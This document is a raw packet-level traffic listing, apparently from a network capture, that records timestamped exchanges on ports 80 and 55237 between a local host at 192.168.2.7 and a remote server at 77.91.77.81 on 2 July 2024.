Jul 2, 2024 12:21:28.933614969 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.933650970 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:28.933656931 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.933671951 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.933689117 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:28.933707952 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:28.936291933 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:28.936340094 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.052273989 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.052316904 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.052333117 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.052373886 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.052401066 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.052407026 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.052439928 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.052465916 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.052486897 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.052498102 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.052503109 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.052517891 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.052536964 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.052544117 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.052557945 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.052575111 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.052578926 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.052592039 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.052609921 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.052947998 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.053016901 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.053103924 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.053141117 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.053165913 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.053179979 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.053180933 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.053195000 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.053215027 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.053241014 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.053423882 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.053458929 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.053458929 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.053477049 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.053489923 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.053504944 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.053575993 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.053591013 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.053605080 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.053607941 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.053625107 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.053641081 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.054088116 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.054125071 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.054135084 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.054150105 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.054167986 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.054187059 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.054328918 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.054343939 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.054371119 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.054392099 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.054480076 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.054501057 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.054514885 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.054517031 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.054529905 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.054534912 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.054552078 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.054567099 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.055280924 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.055319071 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.055319071 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.055337906 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.055356979 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.055372000 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.055434942 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.055449009 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.055463076 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.055471897 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.055476904 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.055490017 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.055493116 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.055521011 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.143203974 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.143234968 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.143249989 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.143263102 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.143277884 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.143290043 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.143306971 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.143320084 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.143388987 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.143449068 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.143462896 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.143476963 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.143484116 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.143512011 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.143528938 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.143583059 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.143624067 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.174860954 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.174882889 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.174897909 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.174927950 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.174988031 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.175204039 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.175256968 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.175271034 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.175287008 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.175311089 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.175329924 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.175335884 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.175359011 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.175374031 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.175374985 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.175399065 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.175410032 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.175430059 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.175441980 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.175456047 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.175471067 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.175497055 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.175528049 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.175542116 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.175564051 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.175569057 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.175597906 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.175609112 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.175717115 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.175730944 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.175753117 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.175765038 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.175766945 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.175781965 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.175805092 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.176148891 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.176197052 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.176204920 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.176218987 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.176246881 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.176268101 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.176352024 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.176367044 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.176379919 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.176393986 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.176397085 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.176419020 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.176444054 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.176460981 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.176476002 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.176493883 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.176500082 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.176513910 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.176537037 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.177052975 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.177097082 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.177146912 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.177160978 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.177187920 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.177201986 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.177237034 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.177252054 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.177267075 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.177278042 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.177282095 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.177297115 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.177304029 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.177324057 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.177408934 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.177423954 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.177438021 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.177448034 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.177458048 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.177478075 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.178085089 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.178098917 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.178113937 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.178139925 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.178174973 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.178188086 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.178203106 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.178216934 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.178227901 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.178234100 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.178240061 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.178267956 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.178276062 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.178333998 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.178349018 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.178363085 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.178379059 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.178396940 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.178934097 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.178975105 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.179002047 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.179047108 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.179076910 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.179092884 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.179109097 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.179131985 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.179156065 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.179371119 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.179385900 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.179402113 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.179414034 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.179414988 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.179423094 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.179430962 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.179445982 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.179454088 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.179476023 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.179882050 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.179927111 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.179941893 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.179954052 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.179965019 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.179985046 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.234589100 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.234622002 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.234637976 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.234639883 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.234652042 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.234668970 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.234688997 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.234692097 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.234692097 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.234692097 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.234707117 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.234709024 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.234724998 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.234734058 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.234740973 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.234750986 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.234755993 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.234766960 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.234780073 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.234798908 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.235048056 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.235071898 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.235080004 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.235086918 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.235100985 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.235101938 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.235116959 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.235116959 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.235131979 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.235135078 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.235151052 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.235171080 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.235347033 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.235362053 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.235377073 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.235378981 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.235399008 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.235415936 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.235435009 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.235447884 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.235456944 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.235491991 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.235518932 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.265207052 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.265266895 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.265280008 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.265294075 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.265309095 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.265330076 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.265532970 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.269035101 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.269212008 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.269227028 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.269251108 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.269272089 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.269285917 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.269299030 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.269314051 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.269320965 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.269320965 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.269320965 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.269320965 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.269328117 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.269356012 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.269366980 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.297503948 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.297524929 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.297542095 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.297554016 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.297580957 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.297645092 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.297661066 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.297683001 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.297708988 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.297775984 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.297789097 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.297811985 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.297816992 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.297827005 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.297833920 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.297842979 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.297852993 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.297858000 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.297864914 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.297880888 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.297887087 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.297898054 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.297902107 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.297915936 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.297919035 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.297931910 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.297935009 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.297947884 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.297950983 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.297967911 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.297985077 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.298150063 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.298180103 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.298188925 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.298193932 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.298209906 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.298209906 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.298224926 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.298240900 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.298258066 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.298270941 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.298288107 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.298305988 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.298413038 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.298428059 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.298441887 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.298450947 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.298465014 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.298489094 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.298583031 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.298624992 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.298628092 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.298643112 CEST	80	55237	77.91.77.81	192.168.2.7
